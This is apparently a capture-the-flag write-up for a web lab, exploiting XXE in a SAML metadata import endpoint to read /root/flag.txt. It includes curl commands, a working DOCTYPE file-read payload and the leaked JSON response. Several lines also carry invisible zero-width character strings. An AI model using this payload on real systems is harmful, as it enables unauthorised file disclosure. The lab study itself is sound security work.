← Back to Writeups
CUSTOMEasyWeb

WorkPilot — XXE via SSO Metadata Import

XESXOR9/10/20263 min read
#web#custom#easy#external_entity_injection#in_band_exfiltration#saml_metadata_import_abuse#xxe_file_read#linux

WorkPilot — XXE via SSO Metadata Import

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: external_entity_injection, in_band_exfiltration, saml_metadata_import_abuse, xxe_file_read

Summary

Task: PHP team collaboration platform with SAML SSO metadata import that parses user-supplied XML without disabling external entities. Solution: Inject DOCTYPE with SYSTEM entity pointing to file:///root/flag.txt in the entityID attribute of crafted SAML metadata; flag returned in-band via JSON response.

WorkPilot — XXE via SSO Metadata Import — HackAdvisor Lab 141

Description

WorkPilot is a team collaboration dashboard by Aether Solutions that helps organizations manage projects, monitor productivity metrics, and streamline workflows. The platform recently introduced enterprise Single Sign-On (SSO) integration, allowing organizations to configure SAML-based authentication with their identity providers. Administrators and users can import identity provider metadata to set up SSO connections through the workspace settings. Your goal is to find and exploit a vulnerability in the application that allows you to read sensitive files from the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: PHP/nginx web application with a SAML SSO metadata import feature. The import endpoint parses user-supplied XML without disabling external entity resolution, enabling XXE to read arbitrary files from the server. The goal is to read /root/flag.txt.

Analysis

Target stack: PHP 8.2.26 / nginx 1.25.5
Credentials: user@test.com / password123

After logging in, the application provides a workspace dashboard with project management features. The SSO configuration page at /settings/sso allows importing identity provider metadata in XML format. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key findings:

  1. SAML Metadata Import Endpoint: POST /api/sso/import-metadata accepts application/x-www-form-urlencoded with a metadata parameter containing URL-encoded XML. Requires an authenticated session (PHPSESSID cookie).

  2. XML Parsing with Entity Resolution: The PHP backend parses the submitted SAML metadata XML and extracts fields (entity_id, name, sso_url, certificate) into a JSON response. Critically, the XML parser does not disable external entity loading — LIBXML_NOENT is not set, or libxml_disable_entity_loader() is not called. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  3. In-Band Exfiltration: Parsed values from the XML are reflected directly in the JSON response. The entityID attribute of the <EntityDescriptor> element maps to the entity_id field, providing a clean in-band channel for exfiltrating file contents.

  4. Decoy Flags: HTML source contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} — honeypots for automated scanners, correctly ignored.

Solution

Step 1: Authenticate and obtain session cookie

bash
URL="https://1bbf76d2-85e8-4a60-9ab2-7272b2845f88.labs.hackadvisor.io"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

curl -sv -c cookies.txt -X POST "$URL/login" \
  -d "email=user@test.com&password=password123"
# Returns 302 redirect with Set-Cookie: PHPSESSID=h6slbffb7ce59t1rncdpshptnt

Step 2: Craft XXE payload in SAML metadata format

The payload declares a DOCTYPE with an external entity xxe pointing to file:///root/flag.txt. The entity reference &xxe; is placed in the entityID attribute, which the server extracts and returns in the JSON response:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE EntityDescriptor [
  <!ENTITY xxe SYSTEM "file:///root/flag.txt">
]>
<EntityDescriptor entityID="&xxe;">
  <IDPSSODescriptor>
    <SingleSignOnService Location="https://idp.example.com/sso" />
  </IDPSSODescriptor>
</EntityDescriptor>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Submit the payload

bash
PAYLOAD='<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE EntityDescriptor [
  <!ENTITY xxe SYSTEM "file:///root/flag.txt">
]>
<EntityDescriptor entityID="&xxe;">
  <IDPSSODescriptor>
    <SingleSignOnService Location="https://idp.example.com/sso" />
  </IDPSSODescriptor>
</EntityDescriptor>'

curl -s -b "PHPSESSID=h6slbffb7ce59t1rncdpshptnt" \
  -X POST "$URL/api/sso/import-metadata" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "metadata=$PAYLOAD"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Flag returned in JSON response

json
{
  "success": true,
  "provider": {
    "entity_id": "FLAG{REDACTED}\n",
    "name": "Unknown Provider",
    "sso_url": "https://idp.example.com/sso",
    "certificate": "Not provided"
  }
}

The file contents of /root/flag.txt were resolved by the PHP XML parser and returned directly in the entity_id field. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍